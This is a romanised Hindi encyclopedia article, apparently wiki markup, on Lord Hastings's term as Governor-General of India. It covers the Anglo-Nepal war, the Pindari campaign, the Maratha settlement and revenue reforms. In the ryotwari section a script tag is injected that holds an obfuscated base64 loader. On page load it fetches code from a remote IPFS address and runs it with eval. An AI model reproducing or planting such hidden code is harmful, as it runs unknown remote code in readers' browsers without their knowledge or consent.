लॉर्ड हेस्टिंग्स
thumb|200px|l aaurd hestiangs l aaurd hestiangs 1813 se 1823 ee. tak bharat ka gavarnar-janaral raha. usane garvanar-janaral ke roop mean bharat mean rajanitik shreshthata ko aur badhane ka prayatn kiya. usake samay mean sarvapratham 'aangl-nepal yuddh' l da gaya. aangrez janaral 'gilisapaee' ne is yuddh mean viragati prapt ki thi. is yuddh ke parinamasvaroop almo da par adhikar kar liya gaya, aur gorakhaoan ki poorn roop se parajay huee. l aaurd hestiangs ke kal mean hi tisara aangl-maratha yuddh l da gaya tha, jisamean marathoan ki parajay huee thi. hestiangs ko pindariyoan ka daman karane ka shrey bhi diya jata hai.
aangl-nepal yuddh
is yuddh mean aangrezoan ki or se 'janaral aktaraloni', 'karnal nikalas' v 'gardanar', 'janaral gilisapaee' adi nayak the. janaral gilisapaee ka kalang ke durg par akraman viphal raha, tatha vah svayan viragati ko prapt hua. usake uttaradhikari 'mejar martidal' bhi jaitak durg ko jitane mean asaphal rahe, kintu aangrez is viphalata se hatash nahian hue tatha karnal nikalas aur gardanar ne kumaooan ki paha diyoan mean sthit almo da nagar par vijay prapt kar li aur janaral astaraloni ne malaoan nagar ko amar sianh thapa se chhin liya. is yuddh mean gorakhaoan ki poorn parajay huee. 1816 ee. mean eest indiya kampani evan gorakhoan ke madhy ‘sugauli sandhi’ huee, jisase yah yuddh samapt hua. sugauli sandhi ki shartoan ke anusar gadhaval tatha kumaooan aangrezoan ke adhikar mean a ge. gorakhoan ne kathamadooan mean british sena rakhana svikar kiya. shimala, ranikhet, nainital aangrezoan ke niyantran mean ho gaye. prasangatah 'charls nepiyar' ka vah kathan ullekhaniy hai, jisamean usane kaha tha, "yadi maian 12 varsh ke lie bharat ka badashah ban jaooan, to bharat mean ek bhi bharatiy naresh nahian rahega, nizam ka nam bhi koee nahian sunega aur nepal hamara hoga." l aaurd hestiangs ke kal mean tisara aangl-maratha yuddh bhi l da gaya, jisamean marathe parajit hue.
gorakhoan ki bharti
sugauli sandhi ki shartoan ke anusar gorakhaoan ne sikkim ko khali kar diya. is sandhi ka sabase b da labh gorakhoan ka aangrezi sena mean bharati hona tha. 1857 ee. mean bhi ye rajabhakt bane rahe tatha unhoanne aangrezi samrajy ke prasar mean yogadan diya.
pindariyoan ka daman
l aaurd hestiangs ko pindariyoan ke daman ka bhi shrey prapt hai. aangrez itihasakar pindariyoan ko afagan lutera manate the, aur daulatarav shinde ko inaka ek matr neta manate the, parantu isaki satyata pramanit nahian hoti. pindariyoan ka pahala ullekh mugaloan ke maharashtr par 1689 ee. ke akraman ke samay milata hai. bajirav pratham ke kal se ye avaitanik roop se marathoan ki or se l date the aur keval loot mean bhag lete the. pindari kisi bhi dharm ko n manate hue lootamar mean sanlagn rahane vale vyakti the. 19vian sadi ke prarambhik varshoan mean 'vasil muhammad', 'chitoo' tatha 'karim khaan' inake neta the. 1812 ee. mean pindariyoan ne aangrezoan ke adhikar vale kshetr- mirzapur tatha 'shahabad' par akraman kar diya. hestiangs ne unake daman ko apana lakshy banakar unake viruddh karyavahi ki. usane 1,13,000 sena tatha 300 topean ekatrit kar lian. uttari sena ki kaman usane svayan li tatha dakshini sena ki kaman 't aaumas hisalop' ko de di. unake netaoan mean vasil muhammad ne atmahatya kar li. karim khaan ko gorakhapur mean ek chhoti-si riyasat de di gayi, aur chitoo ko jangal mean sher marakar kha gaya. mailkal ne pindariyoan ko "maratha shikariyoan ke sath shikari kuttoan" ki upama di. 1824 ee. tak piandariyoan ka saphaya ho chuka tha.
bajirav dvitiy ko penshan
l aaurd hestiangs ke samay mean hi marathoan ke sath aangrezoan ki antim l daee huee thi, jisamean marathe parajit hue. 13 joon, 1817 ee. ko peshava ne apani har svikar karake ek sandhi par hastakshar kiya, jisake anusar maratha sangh samapt ho gaya. 5 navambar, 1817 ee. ko shinde se ek sandhi ki gayi, jisake anusar maharaja ne 5000 sainik pindariyoan ke viruddh abhiyan ke lie dena svikar kiya. nagapur ke appa sahab sitavardi mean tatha holkar mahidapur mean parajit hue. l aaurd hestiangs ne bajirav dvitiy ko gaddi se utarakar 18 lakh rupaye varshik penshan dekar kanapur ke samip bithoor ke sthan par bhej diya. satara ki gaddi shivaji ke vanshaj pratap sianh ko de di gayi.
raiyatava di vyavastha
[[chitr:Lord-Hastings-Entering-In-Lucknow.jpg|thumb|250px|l aaurd hestiangs apane sathiyoan ke sath hathi par savar hokar lakhanoo mean pravesh karate hue]]
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
hestiangs ke bharat ane ke pahale tak mugal samrat ko aupacharik roop se sarvashreshth mana jata tha. samrat kampani ke lie ‘hamara vishesh kripapatr bhrity’, ‘adaraniy putr’ jaise shabdoan ko prayog mean lata tha. hestigs ne dilli ane par shart rakhi ki, vah samrat se tabhi milana chahega, jab ye purane shishtachar khatm kiye jayan. usaki yah ichchha poori huee. usake prativad ka prabhav yah raha ki, l aaurd hestiangs ka uttaradhikari l aaurd emsaharst 1827 ee. mean samrat se barabari ke samman se mila. hestiangs ke samay mean hi 'sar t aaumas munaroan' 1820 ee. mean madras ka garvanar bana aur usane malabar, kann d, koyambatoor, madurai aur diandigal mean raiyatava di vyavastha ko lagoo kiya. is vyavastha ke antargat krishakoan ko sidhe bhoo-svami man liya gaya tatha bichailiyoan ka astitv samapt ho gaya.
any sudhar
l aaurd hestiangs ke samay mean hi 'elaphinstan' ne bambee mean 'mahalava di' tatha raiyatava di vyavastha' ke mishran ko lagoo kiya. bangal mean raiyat ke adhikaroan ko surakshit rakhane ke lie 1822 ee. mean 'tainensi ekt' ya 'kashtakari adhiniyam' lagoo kiya gaya. is ekt ke antargat yadi raiyat apane hisse ki nishchit rashi kiraye mean deta rahata tha, to use visthapit nahian kiya ja sakata tha. asamany paristhitiyoan ke atirikt lagan mean vriddhi bhi nahian ki ja sakati thi. hestiangs ne pres par lage pratibandh ko samapt kar pres ke margadarshan ke lie bhi niyam banaye.
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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